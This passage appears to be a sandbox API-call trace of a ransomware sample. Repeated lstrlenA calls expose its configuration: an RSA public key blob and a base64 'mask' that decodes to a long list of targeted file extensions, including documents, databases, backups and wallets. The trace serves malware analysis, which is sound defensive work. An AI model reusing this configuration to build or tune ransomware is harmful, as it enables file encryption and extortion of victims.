CwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLm